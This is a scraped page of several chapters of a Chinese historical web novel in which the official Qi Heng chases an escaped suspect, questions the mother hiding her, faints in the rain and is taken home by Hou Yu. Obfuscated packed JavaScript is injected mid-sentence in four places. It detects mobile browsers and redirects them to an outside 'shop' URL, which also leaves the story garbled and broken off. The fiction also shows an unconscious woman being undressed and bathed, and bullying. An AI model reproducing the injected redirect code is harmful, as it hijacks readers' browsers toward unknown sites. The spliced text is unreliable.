戚姮的语气还是很冲,后煜抿唇,解释道:“我的意思是,嫌疑人已经跑了,这件事即便是底下人失职,也会算在你的头上。现在打了人更容易吃官司,左右都是要被参,不能再多项罪名。” 戚姮冷笑:“打都打完了,再说这些还有什么用?” “你真的打了?”后煜睁大了眼睛,“这群人是很记仇的。” “那去报官啊!请官家,看看能不能也把我送进来。”戚姮踏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531462|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这湿冷阴暗的大狱,还要扭头喊一句,“我进来了照样是戚姮,谁敢报复我,等着我整死你!” “……”后煜惊呆了。 “这里是府衙。”他拽了拽戚姮的袖子,“收敛些,不要被人听了去。” “反正都这样了,我这官还能怎么做下去?我还在乎什么?” 戚姮一副破罐子破碎前的态度:“言官一个个的就等着摘我的错处,好把我踹下去。终于逮到机会了,恐怕明天,参我的折子就能把陛下给淹了!” 后煜一个劲地伸出食指抵在唇上,示意她闭嘴:“已经第一时间让人去追了,她重大案件的嫌疑人,逃跑是要封城的,大概率能追回来。你不要再说这些话了……!” 虚无缥缈的一句话落下来,戚姮半分都没有被安慰到:“人在眼皮子底下都能放跑,我还指望再追回来?” “……” 对府衙失了第一层信任,短时间内上哪建立起第二层。 回到前堂,戚姮往椅子上一坐,十指插进发中,暴脾气想发作还无处宣泄。 眼下正是如履薄冰,初入朝堂急需站稳脚跟之际,首个案件就搞砸成这样,没查出来都比让人跑了强。前者只能说明业务能力一般,后者就是单纯的蠢货。 她已经预想到消息传开,言官都会上书些什么东西了。 赶来的一路大雨都未曾停歇,打湿了肩上布料,沁到里衣,身处在这四面漏风的府衙才感到寒冷刺骨。 “追不回来也得先追追试试。”后煜随口道,“雨下这么大,她能跑哪去。” “她能跑哪去……” 戚姮喃喃着,浑身如闪电劈过般一震,猛地起身:“自然有地方去!” 戚姮风风火火地冲出门外,徒留后煜傻傻站在原地,完全跟不上她的脑回路。 等后煜反应过来时戚姮早跑不见了,他连忙捞起伞就去追,又觉得伞太小不够使,折返回去拿走了柜中叠放整齐的油衣:“等等我啊!” 多碍一分事,能逮到赫连般若的概率就小一分,戚姮顾不得这大雨如倾,只想快点将人逮住。 被后煜拉住的刹那她差点破口大骂,下一瞬油衣罩上了身,闷热瞬间围了上来,却隔绝了冷雨滴落。 兜帽太大,戴在脑袋上连视线都被挡得严严实实。话到嘴边绕了两圈,戚姮只折了几圈帽檐,抬眼斜他:“你跟着干吗?太府寺不忙了?” 后煜系好她颈间的带子,挠了挠耳后:“我就想跟着。” · 戚姮将要拍上门板的手缩了回来,顺着墙边绕到外侧。 后煜跟着她围着墙体转了两圈,打量过后有了猜测,忍不住问:“这不是曼文的家吗,怎么不敲门。” 戚姮:“敲了岂不是打草惊蛇。” “应小姐会藏这?”后煜难以理解,“不可能吧,她会下大牢都是曼文检举的。除非……是回来报仇。” 戚姮否认的干脆:“你想啥呢?” 后煜很懵懂:“不是吗?” 被个傻子缠上也是倒霉,戚姮认栽,毫无为他解释的欲望。解了油衣塞到后煜手里,推着后他离远了些,跟哄小孩似的:“在这等着我,别乱跑。” 后煜“哦”了声。 戚姮几步助跑冲上前,抬脚一蹬,顺着力抓紧瓦片,双臂向上使劲,借着惯性利落地将自己送上墙头。连停顿都没有便翻落在地,没发出一丁点声音。 “……”后煜只眨了两下眼睛,戚姮就从视线中消失了。 他握着伞,找了个干净地缩着,老实等着戚姮回来。 14. 开封府衙【八】 大门被推开,“吱呀”一声,瘆人无比。戚姮立在屋檐下,遮住身后本就微弱的大半天光,表情隐在暗处,叫人捉摸不定。 曼文瞧见她来,面上惊恐万分,再转为诧异,放下手中未完成的绣品匆匆起身:“姑娘?你怎么来了?” 水珠还在顺着发丝向下滴答,戚姮大致扫了一眼屋内,不像能藏人的样子,二话不说快步走向左侧里间。 “姑娘!姑娘!” 曼文焦急地喊了两句,绕到戚姮身前死死堵住卧房门,强扯出一个笑:“刚刚黛儿喝了药,直说难受,折腾了好久才睡着,不能再吵醒啊!” “可是落了东西在这?我去帮你找找,行吗?” “阿若跑了。”戚姮平静道,听不出喜怒,“你也知道我在找什么。” 她向后退了一步,将空间留了出来:“劳烦姐姐把人给我请出来吧。” “她不在我这!”曼文张嘴否认,言词恳切道:“我都那么对她了,她只会恨我,怎么可能回来。” 戚姮问:“你不好奇她是怎么跑的吗?” 曼文接的极快:“怎么跑的?” 戚姮一噎,她自己也都还没问明白是怎么跑的。 本是想诈一诈她,让曼文自乱阵脚,她居然不按常理出牌。 曼文双手扒住门框,大有一副“今天谁也别想进去”的意味,这就与写明了有鬼没区别。 戚姮瞥到裴黛儿的的确确躺在床上熟睡,并不想跟曼文动手,吵醒了再吓着孩子:“姐姐要是这般拦着,找不到人,案子只能被迫中断,赏银也就泡汤了。” 提到银子曼文才有了微小的反应,堵门的动作有些僵硬。 戚姮将这些尽收眼底,乘胜追击道:“你以为拿了五十两银就够了吗?说到底只是治标不治本,解了眼下的急。黛儿的病消耗那样大,五十两够今年、明年、后年的,以后呢?” “往后她还有几十年,没有这两千两她该怎么过?” “应十七已经死了,消息传过去是时间问题,应老爷不仅不会再差人送钱,还要没收这里的宅子。就算你省吃俭用,缩减用度,五十两勉强够她治病吃药。以后你们住哪?” “若干年后黛儿及笄成人,连件像样的首饰都置办不出来,她会不会伤心,你会不会遗憾?” 曼文明显被戳中了软肋,嗫嚅着嘴唇,脸色青一阵白一阵,喉咙干哑,无言以对。 “及笄……” 黛儿还能不能活到及笄那天。 小姑娘平稳的呼吸声传到两个人的耳中,曼文回头望了一眼床上的女儿,面上的挣扎犹疑越来越深。齿尖都快要把下唇咬出血来,头一撇,滚烫的眼泪从下巴落地。 戚姮指着外头:“城门已经关了,到处都是官府的人在巡逻,你能藏她一时,然后呢?怎么安置,怎么送出去?” “马上就会有捕快上门搜查,接着是少尹,开封府尹,带你过去轮番审问。官家指着要这事给个交代,天子脚下,东京城内,谁敢糊弄谁又能糊弄。” “这案子的所有涉事人都要为此受牵连,不可能轻轻揭过。” 戚姮的心情都掺杂了太多恨铁不成钢,真真是从来没有见过这么复杂的母女两人:“你已经向朝廷检举过阿若一次了,又何必现在心软,功亏一篑。” 曼文还是这副被说动了,却不肯让步的态度。 戚姮好几次想掀开她自己进去,不曾想她的力量竟如此大,又这样的固执,垂着脑袋就是不肯。 曼文的话中满是哀求,哭腔浓浓:“求求你了……你快回去吧,我这里真的没有人,不要再打扰黛儿睡觉了好不好。” “你到底在包庇她什么?” 戚姮烦躁地:“没找到人还好,你就只需要被关在府衙里静等着提审,一个月后撤案就能回家。” “可要是找到了,还是在你家找着的,那就是从犯,连同你一起都要下大狱。” 曼文惨白着一张脸,恍惚道:“我也要蹲大牢?” “包庇也是犯罪。” “可我真的不知道阿若在哪……” 曼文失去了浑身力气,顺着门框瘫软在地,戚姮一惊,忙上去搀扶:“她不在这里,她早就恨我恨得要死了……怎么可能会回来。” “……” “跑了也好,留在那也是死路一条,这是我欠她的,什么银子不要也罢……不要也罢。” 曼文泣不成声,泪珠一颗颗砸在戚姮的手背,烫的她承受不住。 “……我会根据具体情况来给阿若定罪,她近十年老实本分,半分恶都没有作。即便真的是楼兰公主,也只会贬为奴送进宫,被人看着,不会死。” 戚姮还想作最后的挣扎:“你的两个女儿都能活下来。” 可曼文不信,坚持说:“不!她会死,只能活一个,只能活一个……” 老百姓对官府发怵,会去想最坏的结果也正常,戚姮闭口不再争论这一话题。 戚姮拧着眉跨过曼文,动作迅速又小心地搜过屋内每个角落,时不时瞥一眼裴黛儿,她丝毫没有被吵醒的迹象。 没有。 戚姮把能找的空隙全都打开看了,竟是连一片衣角都看不见。 难道真猜错了? 虚脱无力的曼文软软瘫靠在门框,浑身都在颤抖。 戚姮深深看了一眼静谧的卧房,虚掩的柜子里只有摞起的几床衣物褥子,空了几处,叠得老高。 “……”戚姮一身的雨水,表情晦暗不明。 扶起曼文,戚姮替她捋好发丝,正好衣装,干净拇指拭过她的脸,抹掉了泪痕。 “抱歉。是我太着急了。” 曼文一怔。 戚姮拔下固定头发的玉簪,发冠没了支撑,“叮当”落地,她将簪子塞进曼文掌心,看不出什么情绪:“出来得急,身上没带什么值钱玩意。拿着当了吧,应该也够个千两银。” 曼文只觉的烫手:“这怎么行……” “人是我弄丢的,这赏银本就该是你的。”戚姮说,“你这宅子也够呛能继续住得下去了,带着黛儿另找个地方吧。她还不知道我一直骗了她,就当这是我为她办的及笄礼。” 曼文沉默了下去。 戚姮不再多看:“好自为之。” “等等!” 戚姮顿住了脚步。 “我姓裴,原叫裴玉姚。”曼文紧攥着手中簪子:“家在江南平江府,如果有机会,我应当会回那。” “黛儿要不起这么贵重的东西,一盒香脂就够了。” 曼文垂下眼:“大恩大德,无以为报。如得天垂怜……还望你不要受此连累。” · 后煜都快被冷风刮飞了才等到戚姮出来,“哎呦”了一声忙迎上去:“你这头发怎么全乱了。” 戚姮整个人都如霜打的茄子一般,魂不守舍地慢慢挪动脚步,口中兀自呢喃:“办不下这案子,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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戚姮跟他也掰扯不出个所以然,极其不耐烦地松开了后煜,步履虚浮地向外走,行至拐角尽头,声音骤然凌厉:“我告诉你,以后最好绕着我走,否则我让你哭都没地方哭。” 后煜等她远离,才敢胡乱抹掉早就和雨水混在一块的眼泪,掌心的泥也一起蹭到了脸上,黏腻难受。 他缓缓坐起,刚想抱着腿继续哭,余光突然瞥到转角,好端端的戚姮在他眼皮子底下一头栽倒。 “……” 等了许久也没见戚姮自己爬起来。 后煜揉着被打的右脸走到她身边,瞪着躺在地下的戚姮,她被金发蒙了整张脸,却依旧清晰可见锋利的下颌线。 后煜隔空对着她打了好几拳,又不敢真的下手把戚姮打醒。 “是你先打我的,我不管你了。”后煜无能狂怒,“你不许报复我,谁让你先打我。” 也不知后煜在说给哪只鬼听,反正给自己说安心了。他向外走了好几步,突然折返回去给戚姮扔了把伞撑着:“仁至义尽,我已经对你够好了,差不多得了。” 眨眼间他又回来了,这次拿走了伞,为戚姮披上了油衣:“不是我狠心。一你打了我,二男女授受不亲,三,三……” “三,你不喜我,我就不招你烦了。” 后煜都跑出巷口了,表情一垮,又哭丧着脸调转脚步回去:“烦死了!” 15. 小窝囊废【一】 “呦,这个点就回来了,看来太府寺又清闲了。” 熟悉的戏谑声绕在耳畔,后煜面容平静地收了伞,扔到地上,不用正眼看也知道是谁。 他一路走来被浇了个透心凉,水珠正顺着衣摆底端“哗哗”淌下,瞬时在地板聚了一汪。 解烺翘着二郎腿悠哉悠哉,果盘就在手边,毫不客气地将后煜昨晚刚买的葡萄洗劫一空,嘴上嚷嚷:“喂,我让你查的账呢,快点拿出来啊,晚上就要交了。” 后煜强压住蹿上来的火气,一口回绝:“没查。” 解烺嗤了声,不屑道:“少来。哪次你不是乖乖照做,我没那么多时间陪你耗,快拿出来。” 后煜掉头就走:“你自己翻吧,能翻到也是你的能耐。” “你什么态度?!” 解烺撸着袖子冲上来,扯着后煜往回拽,挥起拳头快要落下,眼尖注意到后煜脸上的伤。 他幸灾乐祸地:“看来还有人看不惯你嘴贱,已经被揍了。” 后煜不说话。 解烺又将目光缓缓后移:“你背上是谁?” 后煜向旁边撤步:“没谁。” “男的女的?”解烺一脸奸样,“被打晕了,还是迷晕啦?” 调笑轻浮的语气搞得后煜很不爽,迈步从另一道门离开。 “上哪去啊。” 后煜只觉呼吸一滞,脖颈被瞬间扼住,一股力截停了他的动作。 晃动的胳膊闪在眼前,随时都有可能落下,后煜下意识偏脸躲开,眼睑疯狂颤抖。 “看你这怂样。”解烺拍了拍他的侧脸,唇角溢出一抹嘲讽,“说你怂吧,你还敢迷晕姑娘带回家,挺厉害啊。” 后煜低声解释:“没有迷晕,急火攻心晕的,外头雨太大,我打算先回来请个大夫……” “你傻还是我傻?”解烺拎起戚姮垂到前侧的手,晃在后煜眼前,“白成这样一看就是个娘们。” “怎么,你一出门就能遇见晕倒的姑娘?恰好周围没人,恰好雨下这么大,恰好就带回来了?” 后煜迟疑着点头:“对。” 后煜害怕定远侯府,主要原因是戚砚在,靠近这种一身戾气、杀意太重的人他就发怵。 戚姮又是在外头晕倒的,送回去恐说不清楚,再无故挨一顿揍。后煜就想偷偷摸摸先回家,等她醒了自己回去。 哪知这大雨倾盆,天坏成这样,最难缠的主居然来了。 解烺上去就是一巴掌:“你还真敢当我是个蠢货!” 这顿揍还是如约而至,逃也逃不掉。 多亏戚姮在背上压着,否则后煜是真能再被掀翻一次。 脑中嗡鸣不断,连同呼吸都变得灼热难耐,后煜甩了甩头,勉强保持着清醒。 “谁被你这窝囊废看上也真是倒血霉了。”解烺骂骂咧咧着上手掀开遮挡的油衣:“我倒要看看你带了谁回……我操!” 戚姮那张冷艳的脸措不及防出现,惨白无血色,双目紧闭,即便晕了眉心也还是紧皱着,并不安稳。 繁乱的金发太显眼,整个东京城仅此一个,谁人不知她是谁。 解烺的瞳孔瞬间紧缩成针,猛地后退好几步,指着她,不可置信地失声叫道:“你你你!迷晕的是定远侯家的!” 后煜重复:“我都说了好几遍,没有迷晕,你听不懂吗。” 解烺不听,活像见鬼了似的:“都是你干的,跟我没关系!我什么都没做……什么都没做啊,不许赖我!都是你!” 他连账本也不要了,连连向后退,撞到门上“咣当”一声。 解烺也顾不得疼,生怕卷入这场未知又危险的纷争,一个劲地跟后煜撇清关系,等退出一定距离后,掉头跑得飞快! “……” 解烺肯定会出去乱说。 后煜望向他逃离的方向,心底五味杂陈。 真就解释不清了。 带着戚姮从侧门绕到客房,后煜瞧着自己收拾得无比整洁干干净净的床榻,犹豫了一下,先把她放在了地上。 “我拖过地了,你先躺一会。你身上全是水没法躺床,不要骂我不要骂我。” 后煜双手合十冲着戚姮拜了拜,只求她不要这时候醒来。 他静悄悄地从客房退出来,跑去浴室,抬桶烧水,忙前忙后折腾了半个多时辰,才终于把洗澡水兑温乎。 后煜舒坦地先把自己泡干净,才开始准备另一桶水。 他头顶着毛巾,来到客房门前缓缓停住脚,意识到了问题。 戚姮是个女人啊。 这怎么给她洗。 可要是不洗,后煜还不想让她上床睡。 “戚姮。”后煜蹲在地上摇了半天,“醒醒,戚姮。” 任凭后煜怎么晃,怎么喊,戚姮始终比死了还安静。 后煜深吸一口气:“我再喊最后一遍,你要是不醒,我就给你洗了。” 说好只一遍,后煜不死心地喊了整整三遍,发现真的没有反应,才认命地抱起戚姮来到桶边。 他一边念叨着“我真没有别的意思”,一边解腰带。 脱到只剩件里衣贴着身体,后煜不可避免地瞄到了两眼。 戚姮躺得绵软无力,脖颈后倾扬起的弧度优美,发丝垂地,微蜷的双腿修长。衣袍尽褪后没了遮挡,姣好的身段曲线若隐若现。 肩宽腰细腿又长,只是揽着也能觉出她的结实的胳膊,后煜捏了捏,终是知道戚姮为什么能一拳撂翻一个人了。 他给自己找了块布蒙上眼,也不继续脱了,就这么下水。 在桶里泡过就比不泡好接受,后煜的洁癖厉害得紧,这辈子不可能忍受一身雨水混着泥土的人躺在自己床上。 “……你能别挠我吗?” 戚姮突然攥住了后煜的手腕,龇牙咧嘴地阻止了他的动作:“洗澡就洗澡,你挠我做什么。” 后煜一惊:“你怎么现在才醒?” 戚姮刚醒,脑子有点转不过来:“……晕了,还能挑时候醒吗?” 她喃喃着:“我一直觉得有鱼在咬我,睁开眼一看,是你快给我皮都挠破了。” 费劲还不讨好,连着刚刚被揍那事,后煜滋生了些许怨气,直接扔下毛巾:“那你自己洗吧。” “我没嫌你,别生气啊。”戚姮攥着没撒手才没让他窜了,顺着后煜的手臂向上看去,顿了顿:“你蒙块眼罩是什么意思。” 后煜:“我总不能瞧着你洗澡吧。” 戚姮低头,发现连领口都没开:“这又是什么洗法,洗衣服呢?” “不方便。”后煜道,“你别误会啊……我没想占你便宜。” 屋内没人说话了,后煜略有些紧张,要是被当成耍流氓的真给一刀捅死咋办…… 手腕被紧攥的力度缓缓松开,戚姮说:“谢谢。” 提起的那口气这才放下。 戚姮兀自解开衣带,脱了这最后一件碍事的内衬,道:“不过,有紧急情况脱了也没事,没什么关系。” “为什么?”后煜还是第一次听见有女人这么说,好奇地扯下眼罩。 他正好看见戚姮后肩露出玄色图案的一角,怔了一下,随即意识到她脱干净了,飞速背过脑袋去。 戚姮转身趴在桶边,贴在后煜耳侧:“打仗嘛,随时可能受伤,哪伤着也说不准,不能因为这些耽误治疗。” 后煜捂上被气息喷洒的右耳,从脖颈到脸颊已经彻底烫透了,身子软了半边,酥麻一片。 戚姮逗完他笑了好几声:“夏天洗澡我都直接躺河里,还能被这些绊住了脚?” “你不怕军中男人会想些别的?”后煜蹙眉道,“他们可没有什么下限,你又这般……漂亮。” “比起男女之别,横在我们之间最大的是将卒之分。平常一个个在我面前连屁都不敢放,洗个澡就觉得我会吃亏了?” 嗤笑从唇角流出,戚姮不以为意:“提起我,大部分人都是害怕才对吧。” 她拍了拍后煜的肩:“劳请找条浴巾。” 后煜愣愣地在柜中翻腾,脑中不住浮现起解烺临走前又惊又恐的表情。 递去浴巾后他便匆匆离开了这间屋,后背靠着门,跌坐在地。 遥想呼延达旦身死消息从前线传开以后,全国上下,满朝文武,全都知道了戚姮是个能靠九十九人破十万大军的狠角色。 一夜之间天下谁人不识君。 她的从军生涯唯一称得上污点的,就只有“越权违制”。甚至拒绝服从军令都能促使燕军取胜,接连攻下两城。 老百姓不在乎什么乱七八糟,依旧奉她为救国大英雄,威望水涨船高,威名响彻云霄。 回来之后又得官家器重,力排众议送至宰执级,凌驾六部之上,真正的前途无量。 别说解烺,就是后煜认识的所有人,包括所有看不惯她的言官见了戚姮,都要恭恭敬敬行礼,喊声“世子”。 所以解烺害怕了,毫无风度地落荒而逃。 后煜思量着其中平衡,原本挨了一拳想放弃的打算经此一遭又被重新勾起,无意识呢喃出声:“戚姮……” “喊我干吗?” 戚姮拉开门,后煜一时间不设防,咕噜咕噜向后倒去。 他忙爬起来,迎上戚姮的疑惑,一副被抓包了很心虚的样子:“没……没干吗。” · 全都拾掇干净,后煜便着手开始勤勤恳恳地收拾起了房间。一边干着活还要自言自语什么“真倒霉”,“去哪都要干苦力”,“死了算了”等抱怨。 戚姮听得吵,又不能拦着他不许说。溜去后煜房间里打开衣柜,想找身衣裳换上,却被空空如也的橱子震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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后煜离开了一会儿,洗干净手才回来,他拿下头上毛巾,随意扔到一边:“是信王给的,跟朝廷没关系。” 赵初? 在府衙时是听他说和夏怀微在信王府见的面,居然交情还挺不错。 戚姮偷瞟了他好几眼,情绪稳定下来之后再看忽觉触目惊心。 后煜的左脸已经肿了,磕破的嘴角是被她打的,眉骨那处擦伤是在牢里碰的,侧脸居然也伤的这么重。 戚姮不住地想这人脾气也太好了。被打成这样愣是没什么情绪,还帮忙洗了个澡,要是她,一刀捅死对方都是仁慈。 刚放完的狠话不合时宜地回荡在耳边,戚姮抬手掩住满面尴尬。 “不好意思啊,在巷子里没收住脾气,又打你了。”戚姮快走几步跟在后煜身边进了房间,能屈能伸,“你人真好,都没扔下我不管。” 后煜听着都想笑:“精神分裂?” “……”阴阳怪气。 他也是彻底懒得装了,戚姮反倒觉得这样还好办,真搞什么“我好喜欢你啊”才让人头疼。 戚姮抓住了后煜两个肩膀,将他翻了个个,抬起眼,一字一句道:“我在巷子里说的所有话,是不是全是真的。” 后煜怔然。 “摆明了有人想整我,我能看出来。” 戚姮缓和道:“你说就行,我还可以不追究你的责任,不会报复到你头上。” 她话锋一转:“但,你要还决心与他们为伙,我就不是什么好人了。” 后煜绷紧的唇角有些颤,想开口,又不知从何反驳,紧盯着戚姮坚定的面容,半晌,挫败地偏过视线,算是默认了。 就这个瞬间,戚姮都在想他背后的组织到底是哪个傻缺。 竟然派后煜这小窝囊深入前线,连重刑都使不上,逼他一把就能吓得全招了。 戚姮有了思量,淡笑着给后煜整理好衣领,心底大概有了个勘察方向:“我对你没有意见,一时情绪过激,动了手,对不起。下次不会了。” 戚姮说得认真,似乎真有要赔罪的打算。 后煜扫了眼她的指尖,脑中闪过解烺离开前的表情,心中升起强烈趁这机会开口提要求的欲望,话到嘴边留九分,悉数咽下。 戚姮问:“你想要什么歉礼吗?” 后煜表情都快崩了。 怎么她的直觉回回这么准。 “不是什么大事,算了。”后煜突生揶揄她的恶趣味,故意道,“你要实在过意不去,不如亲我一下。” 戚姮闻言掀起眼皮,眸底晦暗难辨,与她对上视线的那刻后煜收了笑,又立马改口:“我就随便说说……” 如游蛇般的手滑上后煜的脖颈,戚姮推着他向里去,反脚就关上了门。 后煜惊愕的目光从门边移上戚姮的脸,抬手抵挡的速度赶不上她靠近的速度,夹带着体香的呼吸瞬间就缠了上来,萦绕身侧。 “这是你说的,亲完就两清。” 戚姮微眯起眼,勾住这丝丝情愫,印上了这个吻。 16. 小窝囊废【二】 “……!!” 后煜呆若木鸡地瞪着眼前,琥珀色瞳仁颤动不已,双手停在半空,不知该放何处。 他绵软的身子被拥着一步步后退,被迫张嘴迎合戚姮的进攻,刚冒出一丝想挣脱的念头就被敏锐察觉,后脑覆上来一只手,将他牢牢禁锢住。 戚姮半点没有浅啄一下就罢休的意思,反倒变本加厉地加深这个吻。膝弯触及床沿便折了下去,他下意识抬起手抱着戚姮向后跌倒。 一阵天旋地转后,戚姮跟着上了床,坐在后煜的腰上继续亲。 “我亲眼看见世子被打晕了带回那小子家,你们能找着就怪了!” 隔着好几堵墙,解烺的声音依旧能遥遥传来。后煜神情一滞,手忙脚乱地就要推开戚姮,她却如一块铁疙瘩般纹丝不动。 “砰”一声震天响,门被一脚踹开,惊得后煜一激灵。齐刷刷先涌了进来数位官府兵卒,在屋内围成个圈。 夏怀微从后徐徐走进,看清了屋内情形,表情一僵,说不出话。 解烺扒开众人冲至最前头,叨叨着“是不是在这”,下一瞬—— “我操!” 解烺腿一软向后栽倒,被两三个兵扶了一把。 戚姮斜眼扫过屋内所有人,官兵低着头不敢直视,夏怀微半永久的温柔表情此刻也笑不出来,解烺更是见鬼了。 她捞起被子罩在身上,隔绝外人视线,才松嘴放开了后煜。 后煜终于得以喘息,压着声音质问:“你刚刚怎么不分开?他们都看见了。” “我想干什么还怕别人看吗。” 戚姮捏住了后煜的脸:“你不是喜欢我喜欢的都愿意当小了吗,前几天刚说完现在就演不下去了?亲一下你很吃亏?” “哪也不能这么多人看啊。”后煜回怼,“你又不喜我,我愿意有什么用。如今这么做,你就是架着我往火上烤。” 戚姮满头问号:“我亲个谁谁还身败名裂了不成。” “夏怀微带这么多人来找你,定是应小姐逃跑这事闹到了官家那。被他们看见,消息泄出去,你是无所谓,可我不行。我出身低,是个人都不愿嫁我。” “你还不肯要我,本就难许人家,这下更难了……我以后怎么办?” 黑暗中依然可见后煜满面急色,细数被人瞧见的后果,戚姮越听脸越黑,直接出言打断:“挺能算计啊,攀不上我还打算全身而退继续逍遥。” 后煜一哽。 不小心嘴快全说漏了。 她伸手指到后煜脸前,气得咬牙切齿,放下狠话:“你给我等着。等我忙完了再回来找你算账。” “……” 后煜大脑一片空白地看着戚姮起身离开,被子甩到脸上,他顺势蜷缩在里面,不肯露头。被中呼吸闷热,眼前只有一片黑。 他竖起耳朵细听屋内动静,等到谈话结束,官兵稀稀拉拉离开屋内,脚步声渐远,直至完全听不到任何声音,才卸下了紧绷的神经。 下一瞬,裹在身上的被子毫无防备地被掀开! 解烺压根没走,来到床头一把拽起了后煜,满面怒容:“你和姓戚的什么时候勾搭到一起的?” 后煜被勒的眼冒金星,却在看见解烺气成这般模样顿感畅快无比,没忍住笑出声,奋力一把推开了他。 往常后煜连大声说句话都要被扇,解烺这暴脾气蹭一下上来了:“你还敢推我?!” “前几天,戚姮封世子的第二日,她就看上我了。” 解烺刚想抽下来的手在听到这句硬生生转了个弯,缩了回去。 后煜捕捉到这丝非比寻常,微妙地一挑眉,逐步印证心中猜想:“你大可以继续下手,只要能承受得住我今晚上吹枕边风的后果,请随意。” “你……!” 解烺被这副小人得志的嘴脸震惊的无以复加。 偏偏后煜拿捏准了他的顾忌,要不是解烺就怕这点,刚刚那巴掌早已落在了他脸上。 有传言道,戚姮赤手空拳就能一招使人残疾,两招重伤昏迷,三招必死无疑。 当年以白丁入军,营中不满声音颇多,她直接摆下擂台,立生死状一决高下,还没跟北凉开战,内部就先被打死了八个。 因为一共就上了八个。 消息从前军传回汴京,这便是戚姮打出名声的开始。犹记从朝堂到民间都引起了不小的轰动,大部分是参她此举过于残暴,但生死状在手,顶破天也只能从道德上谴责几句。 两年就能从普通白丁爬上副都部属,怎能用常人眼光去看待。斩获的敌军没有一万也有九千,又一手策划斩杀呼延达旦,连监军传信时都忍不住夹杂了个人情绪。 他说戚姮虽平日性情暴戾乖张了些,却也是有无法替代的真本事在身。 相比之下,那些小缺陷就显得微不足道了。 千里相隔,无论前线还是京城,当官的当兵的不约而同有了个共识——谁也惹不起戚姮。 因而在她刚回来那日,只有秦国公一人,和已经被迫害过的安抚使敢跳出来参她,其他人就如同缩头乌龟般躲在后面,连头都不敢露。 这样的人物别说站在面前,就是跟后煜说着话,解烺都不敢说一句“不”字。 是真怕他跑去吹风。 “你……”解烺恼羞成怒地瞪着后煜,没有任何办法,“你不知道我爹最近跟定远侯斗的有多凶吗?转头你就去攀侯府的关系,要不要脸啊?” 后煜吹风凉话:“住这么近还敢明目张胆针对侯府,哪天城中出事,定远侯趁乱把你们家屠了怎么办。” 解烺反手就想打:“你会不会说话?我抽不死你丫的。” 后煜先是躲,反应过后一鼓作气抓住解烺的手腕凑到脸边:“抽,来,抽。” 解烺掂量之后果然不敢动他,挣着一把甩开:“你犯病啊!” 他整理了下衣领,疑惑道:“都知她家是要招赘的,前几日侯府就向挑中的几家下去了贴。可国公府很安静啊,没收到任何消息……” 解烺嘟囔半天,脑子在突然间就灵光了:“你是不是没有真入了戚姮的眼,所以她才不下帖子。” “……” 后煜抿唇不语。 解烺想明白这些再瞧后煜,嫌恶道:“你还真是跟你娘一脉相承。都给人当外室去吧,我看你这辈子还能有什么出息。” 后煜表情骤然一变,捞起枕头奋力砸过去:“滚!谁允许你提我娘了!滚!” 解烺向旁挪了一步,轻松避开了飞来的高枕,扶着床沿大笑出声:“生什么气呀?既没有正经要娶的打算,连个纳妾礼都没有,那你是啥?” “滚蛋!” 后煜抡过去的拳头被解烺稳稳接住,稍微一拽便向前倾倒,手臂猛地折到背后,疼的他冷汗瞬间从额前滑落。 解烺是正经世家公子,该学的拳脚功夫样样俱全,完全吊打后煜这种野路子。 他的侧脸埋进床单,被死死压制的动弹不得。 “自己搞这一出还嫌我说,说到底不就是攀高枝儿吗。就算你运气好,给戚姮留了个孩子,不还跟你一样是个私生子。有区别吗?” “你指望父凭子贵?还是想吃侯府的绝户?” 解烺哼笑:“来点药灌下去,你就是个废人。到时候位置没捞上,身子也毁了,又欠着债,还活着什么劲,吊死算了。” 迎上后煜怨毒的目光,解烺更开心了:“人得废物成什么样,才上赶着倒贴女人?你也是到家了。” 后煜挣扎着掀开解烺,起身向里缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531465|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你瞧不上我倒贴女人,又怕她干什么。” “说得好像你不怕她似的。谁不怕?就我怕?” “……” “这伤是戚姮给你揍的吧。”解烺钳住后煜的下颌,左看看右看看,“侯府软饭还真不是一般人能吃的,哪天被打得受不了也别回娘家哭,记住了?” “侯府再差,还能差过秦国公府?”后煜憋着怒火,剜了解烺一眼,“畜生全生一窝去了。” 箍在下巴的手越钳越紧,疼痛让后煜止不住发抖,解烺冷哼:“她拿你当随便能踹两脚的狗,你还真仗起她的势,反过来咬我了。” 后煜眸中闪过一丝灵光,不带犹豫地张嘴咬上解烺的虎口。 他捏的有多大劲,后煜就咬多大劲,咬得解烺不顾形象地吱哇乱叫:“你还真是个疯狗!松开!松开!!” 一脚踹上正胸口,后煜才两眼一黑倒向旁边,肺里的灼热如被蚂蚁啃食,唇齿间溢出甜腥的铁锈味。 想到嘴里还掺着解烺的血,后煜眉头紧皱,嫌弃地吐了出去,抬手捂着喉咙大口喘气,发出“次次啦啦”的动静。 